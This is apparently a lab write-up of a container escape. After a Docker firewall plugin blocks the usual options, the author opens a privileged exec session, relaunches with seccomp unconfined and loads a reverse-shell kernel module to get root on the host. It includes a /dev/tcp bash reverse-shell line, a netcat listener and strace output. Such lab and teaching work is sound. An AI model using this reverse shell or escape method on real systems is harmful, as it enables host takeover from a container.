Breakout from the Seccomp Unconfined Container

In this post, you'll discover how to exploit the CAP SYS MODULE capability in a privileged exec session to break out of a seccomp unconfined container that was launched with no extra rights or capabilities.

Breakout from the Seccomp Unconfined Container
Photo by Sun / Unsplash

Hello, world! As security options docker has two main configurations for this AppArmor and Seccomp. When you start a container, both of these options are provisioned with the default profiles. These profiles were written by the experts in containerization so that even if you have a privileged session on the docker container, still it doesn't let hackers break out of it.

In this post, I will demonstrate to you a Seccomp Unconfined lab which will let you understand how can you can start a docker container without loading seccomp profiles and escalate to the privileged user on the host machine.

Before moving forward with anything, let's confirm the available images in the docker. In this case, I will be using modified-ubuntu image.

Get available docker images

Since the firewall is active, it will block all the tries to create the possible ways of the privileged docker container. As you can see in the following image, host file bind mount, privileged docker container using --privileged flag and allowing all capabilities using --cap-add ALL failed.

This is because it tried to send the default JSON payload which is then filtered by the docker firewall plugin.

Common options in docker CLI blocked by a firewall

In the previous post, I have discussed a misconfiguration in the docker JSON structure which lets you send the bind mount and capabilities information in a different payload which is not filtered by the plugin. When I tried this, it also returned the unauthorized error.

The curl request technique also getting blocked

I then scratched my head and look for "docker privileged shell" on the search engine and found that docker exec allows us to start a privileged exec session even if the container is not started in the privileged mode.

Finally, I got the privileged bash session with all the privileges. So far, you have seen the exploitation of CAP_DAC_OVERRIDE and CAP_DAC_READ_SEARCH capabilities. Let's use CAP_SYS_MODULE capabiltity in this case.

Starting a privileged exec session 

Copy the reverse shell from hacktricks gitbook. Make the following changes in the reverse-shell.c file as shown in the following diff. This will try to connect to the localhost instead of 10.10.14.8 IP.

- char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
+ char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/127.0.0.1/4444 0>&1", NULL};
Make sure after copying Makefile, it is required to replace the leading space characters with a tab character. I missed that and it gave me error.

After all these editings are done, I compiled the kernel module using make command and then use insmod reverse-shell.ko command to insert the module into the kernel.

Before inserting the kernel module, start the server using nc -lnvp 4444 in separate window.
Reverse shell kernel module insertion failed

How come this failed even though I had CAP_SYS_MODULE capability? Again scratched my head for some time, and found that it's seccomp that is blocking the syscall.

So basically, the insmod command will call finit_module which takes the file handle of the kernel module and tries to load it. In the default seccomp profile, this syscall is blocked.

stat("/root", {st_mode=S_IFDIR|0700, st_size=4096, ...}) = 0
stat("/root/reverse-shell.ko", {st_mode=S_IFREG|0644, st_size=4856, ...}) = 0
openat(AT_FDCWD, "/root/reverse-shell.ko", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=4856, ...}) = 0
mmap(NULL, 4856, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f52a9aa8000
finit_module(3, "", 0)                  = -1 EPERM (Operation not permitted)
finit_module syscall is blocked

Docker provides an option to start the container in unconfined mode. In this case, using --security-opt seccomp=unconfined will tell the docker engine to not load the default configuration for this particular container.

Start container with seccomp unconfined mode

Then I used the docker inspect command to confirm. Yes, I have trust issues with myself 😅. You can see seccomp is set to unconfined in SecurityOpt field.

Confirm seccomp is disabled

All I was supposed to do is repeat all the commands, that was perform in the confined container. This time insmod command will execute successfully.

Compiling the kernel module and inserting it

Finally, I got the reverse connection on the netcat session started before. The flag contents were stored in the /root/flag file.

Get the reverse shell and find the flag
💡
Want to learn more about AppArmor usage with Docker? I have a mini-series on this, to get you started – AppArmor Basics for Sysadmins

Resources